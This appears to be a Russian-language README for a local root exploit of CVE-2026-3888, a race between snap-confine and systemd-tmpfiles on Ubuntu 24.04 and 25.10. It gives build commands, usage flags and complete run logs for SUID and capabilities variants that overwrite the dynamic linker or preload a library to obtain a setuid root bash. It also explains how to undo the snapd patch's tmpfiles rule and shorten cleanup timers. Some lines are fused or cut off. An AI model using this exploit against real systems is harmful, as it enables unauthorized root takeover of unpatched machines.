
Локальный эксплойт для повышения привилегий для CVE-2026-3888, нацеленный на snap-confine и systemd-tmpfiles в Ubuntu, предоставляющий варианты SUID и capabilities для получения root-доступа.
Локальное повышение привилегий от непривилегированного пользователя до полного root на Ubuntu Desktop 24.04+ путем эксплуатации состояния гонки TOCTOU между snap-confine и systemd-tmpfiles. Предоставлены два варианта: SUID и Capabilities.
CVSS: 7.8 (High) | Advisory: Qualys | Патч: snapd 2.74.2, 17 марта 2026 г.
systemd-tmpfiles удаляет устаревший каталог-имитацию .snap в /tmp (возраст 30 дней)snap-confine через обратное давление AF_UNIX-сокета, чтобы надежно выиграть гонку во время последовательности bind-mount имитацииld-linux-x86-64.so.2 заменяется шеллкодом, который вызывает setreuid(0,0) + execvesnap-confine запускает шеллкод с привилегиями root/var/snap/firefox/common/ для побега из песочницы| Файл | Описание |
|---|---|
exploit_suid.c | Единый бинарный эксплойт — все 7 фаз в одном оркестраторе на основе fork |
librootshell_suid.c | Полезная нагрузка — минимальный ELF, заменяющий ld-linux-x86-64.so.2 через сырые системные вызовы x86_64 |
gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c
Оба файла должны быть скомпилированы (или кросс-скомпилированы) для x86_64 Linux. exploit статически слинкован, поэтому работает внутри snap-песочницы без зависимостей от библиотек. librootshell.so использует -nostdlib, поскольку содержит только сырые системные вызовы — без libc.
./exploit <librootshell.so> [-d] [-s]
| Флаг | Описание |
|---|---|
-d | Показать отладочный вывод snap-confine (подробный режим) |
-s | Пропустить ожидание очистки .snap (требуется пароль root) |
# Обычный запуск
./exploit ./librootshell.so
# Режим отладки
./exploit ./librootshell.so -d
# Повтор после сбоя
./exploit ./librootshell.so -s
Эксплойт входит в песочницу, ожидает удаления .snap системой systemd-tmpfiles (до 10 дней на стандартной Ubuntu 25.10 и до 30 дней на стандартной Ubuntu 24.04), затем автоматически запускает гонку. При успехе открывает root-шелл.
snap-confine должен быть SUID-root (-rwsr-xr-x 1 root root /usr/lib/snapd/snap-confine)systemd-tmpfiles-clean.timerbusybox доступен на целевой системе (/usr/bin/busybox)user@ubuntu:~$ snap --version
snap 2.63.1+24.04
snapd 2.63.1+24.04
series 16
ubuntu 24.04
kernel 6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=24.04
DISTRIB_CODENAME=noble
DISTRIB_DESCRIPTION="Ubuntu 24.04.4 LTS"
user@ubuntu:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
user@ubuntu:~$ ./exploit ./librootshell.so
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] Payload: /home/user/./librootshell.so (9056 bytes)
[Phase 1] Entering Firefox sandbox...
[+] Inner shell PID: 3122
[Phase 2] Waiting for .snap deletion...
[*] Polling (up to 30 days on stock Ubuntu).
[*] Hint: use -s to skip.
[+] .snap deleted.
[Phase 3] Destroying cached mount namespace...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_sygTaK//dev: No such file or directory
[+] Namespace destroyed.
[Phase 4] Setting up and running the race...
[*] Working directory: /proc/3122/cwd
[*] Building .snap and .exchange...
[*] 285 entries copied to exchange directory
[*] Starting race...
[*] Monitoring snap-confine (child PID 3543)...
[!] TRIGGER — swapping directories...
[+] SWAP DONE — race won!
[*] ld-linux in namespace: user:user 755
[+] Poisoned namespace PID: 3543
[Phase 5] Injecting payload into poisoned namespace...
[+] ld-linux owned by uid 1000 (attacker). Race confirmed.
[*] Planting busybox...
[*] Writing escape script → /tmp/sh
[*] Overwriting ld-linux-x86-64.so.2...
[+] Payload injected.
[Phase 6] Triggering root via SUID snap-confine...
[*] snap-confine → snap-confine (SUID trigger)
[*] Exit status: 0
[Phase 7] Verifying...
[+] SUID root bash: /var/snap/firefox/common/bash (mode 4755)
[*] Cleaning up background processes...
================================================================
ROOT SHELL: /var/snap/firefox/common/bash -p
================================================================
bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
systemd-tmpfiles удаляет устаревший каталог-имитацию .snap в /tmpsnap-confine через обратное давление AF_UNIX-сокета, чтобы надежно выиграть гонку во время последовательности bind-mount имитации /var/lib/var/lib/snapd/mount/snap.snap-store.user-fstabuser-fstab монтируют отравленный /etc (с ld.so.preload) в песочницуsu из /tmp/.snap предзагружает librootshell.so, который вызывает setreuid(0,0) + | Файл | Описание |
|---|---|
exploit_caps.c | Единый бинарный эксплойт — все 7 фаз в одном оркестраторе на основе fork |
librootshell_caps.c | Полезная нагрузка — разделяемая библиотека с конструктором, вызывающим setreuid(0,0) + execve |
gcc -O2 -static -o exploit exploit_caps.c
gcc -shared -fPIC -nostartfiles -o librootshell.so librootshell_caps.c
Оба файла должны быть скомпилированы (или кросс-скомпилированы) для x86_64 Linux. exploit статически слинкован, поэтому работает внутри snap-песочницы без зависимостей от библиотек. librootshell.so использует -nostartfiles и __attribute__((constructor)) — он загружается через ld.so.preload до вызова main() целевого бинарника.
./exploit <librootshell.so> [-d] [-s]
| Флаг | Описание |
|---|---|
-d | Показать отладочный вывод snap-confine (подробный режим) |
-s | Пропустить ожидание очистки .snap (использовать, если .snap уже удален) |
# Обычный запуск
./exploit ./librootshell.so
# Режим отладки
./exploit ./librootshell.so -d
# Пропустить ожидание (повтор)
./exploit ./librootshell.so -s
Эксплойт входит в песочницу, ожидает удаления .snap системой systemd-tmpfiles (до 10 дней на стандартной Ubuntu 25.10 и до 30 дней на стандартной Ubuntu 24.04), затем автоматически запускает гонку. При успехе открывает root-шелл.
snap-confine должен иметь capabilities (cap_sys_admin, cap_chown, cap_dac_override и др.)snap-store (по умолчанию на Ubuntu Desktop)core22systemd-tmpfiles-clean.timerbusybox доступен на целевой системе (/usr/bin/busybox)user@ubuntu:~$ snap --version
snap 2.71.1+ubuntu25.10.1
snapd 2.71.1+ubuntu25.10.1
series 16
ubuntu 25.10
kernel 6.17.0-19-generic
user@ubuntu:~$ cat /etc/lsb-release
DISTRIB_ID=Ubuntu
DISTRIB_RELEASE=25.10
DISTRIB_CODENAME=questing
DISTRIB_DESCRIPTION="Ubuntu 25.10"
user@ubuntu:~$ ./exploit ./librootshell.so
================================================================
CVE-2026-3888 — snap-confine / systemd-tmpfiles Capabilities LPE
================================================================
[*] Payload: /home/user/./librootshell.so (14320 bytes)
[Phase 1] Entering snap-store sandbox...
[+] Inner shell PID: 3501
[Phase 2] Waiting for .snap deletion...
[*] Polling (up to 10 days on Ubuntu 25.10).
[*] Hint: use -s to skip.
[+] .snap deleted.
[Phase 3] Destroying cached mount namespace...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_wQcOnV//dev: No such file or directory
[+] Namespace destroyed (.mnt gone).
[Phase 4] Setting up and running the race...
[*] Working directory: /proc/3501/cwd
[*] Building .snap and .exchange...
[*] 17 entries copied to exchange directory
[*] Starting race...
[*] Monitoring snap-confine (child PID 3678)...
[!] TRIGGER — swapping directories...
[+] SWAP DONE — race won!
[+] Race won. /var/lib/snapd is now user-owned.
[Phase 5] Setting up payload and user-fstab...
[*] Copying /etc to .snap/etc...
[*] Writing ld.so.preload...
[*] Writing user-fstab...
[*] Copying librootshell.so to /tmp/...
[*] Copying busybox...
[*] Writing escape script...
[*] Swapping var/lib back (restoring original snapd metadata)...
[+] Payload ready.
[Phase 6] Triggering root via SUID binary in /tmp/.snap...
[*] Executing: snap-confine → /tmp/.snap/var/lib/snapd/hostfs/snap/core22/current/usr/bin/su
[*] Exit status: 0
[Phase 7] Verifying...
[+] SUID root bash: /var/snap/snap-store/common/bash (mode 4755)
[*] Cleaning up background processes...
================================================================
ROOT SHELL: /var/snap/snap-store/common/bash -p
================================================================
bash-5.1# id
uid=1000(user) gid=1000(user) euid=0(root) groups=1000(user),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),100(users),116(lpadmin)
На стандартной установке Ubuntu очистка .snap занимает 30 дней (24.04) или 10 дней (25.10). Чтобы ускорить этот процесс для тестирования, уменьшите возраст /tmp и интервал таймера:
Отредактируйте /usr/lib/tmpfiles.d/tmp.conf (от имени root):
# Измените возраст с 30d на 4m
sudo sed -i 's|^q /tmp .\+|q /tmp 1777 root root 4m|' /usr/lib/tmpfiles.d/tmp.conf
Проверка:
grep '^q /tmp' /usr/lib/tmpfiles.d/tmp.conf
# Должно показать: q /tmp 1777 root root 4m
sudo mkdir -p /etc/systemd/system/systemd-tmpfiles-clean.timer.d
sudo tee /etc/systemd/system/systemd-tmpfiles-clean.timer.d/override.conf > /dev/null <<'EOF'
[Timer]
OnBootSec=1m
OnUnitActiveSec=1m
EOF
sudo systemctl daemon-reload
sudo systemctl restart systemd-tmpfiles-clean.timer
Проверка:
systemctl list-timers systemd-tmpfiles-clean
# Столбец NEXT должен показывать ~1 минуту от текущего момента
snapd 2.73+ добавляет правило исключения, которое предотвращает очистку .snap системой tmpfiles. Если ваша система имеет это правило, проверьте и удалите его:
cat /usr/lib/tmpfiles.d/snapd.conf
# Если вы видите: x /tmp/snap-private-tmp/*/tmp/.snap
# Удалите эту строку или откатитесь до snapd 2.71.1
С этими настройками .snap будет очищен в течение ~5 минут после устаревания, что позволяет быстро итерировать во время тестирования.
Данный код предоставляется строго в образовательных целях, для авторизованных исследований безопасности и тестирования на проникновение, где получено явное письменное разрешение. Автор не несет ответственности за неправомерное использование этого программного обеспечения. Используя этот код, вы соглашаетесь с тем, что несете полную ответственность за свои действия и любые последствия, возникающие в результате его использования. Не используйте этот код против систем, которыми вы не владеете или на тестирование которых у вас нет явного разрешения.
| Ubuntu 24.04 (SUID) | Ubuntu 25.10 (Capabilities) |
|---|
| snap-confine | SUID-root | Capabilities (cap_sys_admin и др.) |
| Целевой snap | firefox | snap-store |
| Имитация цели | /usr/lib/x86_64-linux-gnu (~285 записей) | /var/lib (~17 записей) |
| Вектор эксплуатации | Перезапись ld-linux-x86-64.so.2 шеллкодом | Управление user-fstab + ld.so.preload |
| Формат полезной нагрузки | Статический ELF с сырыми системными вызовами | Разделяемая библиотека с __attribute__((constructor)) |
| Триггер root | SUID snap-confine загружает отравленный динамический компоновщик | SUID su в /tmp/.snap предзагружает .so |
| Требование к cgroup | Любое имя snap.* | Точное совпадение: snap.snap-store.hook.configure |
Очистка .snap | 30 дней | 10 дней |
| Побег из песочницы | /var/snap/firefox/common/bash | /var/snap/snap-store/common/bash |
execve("/tmp/sh")/var/snap/snap-store/common/ для побега из песочницы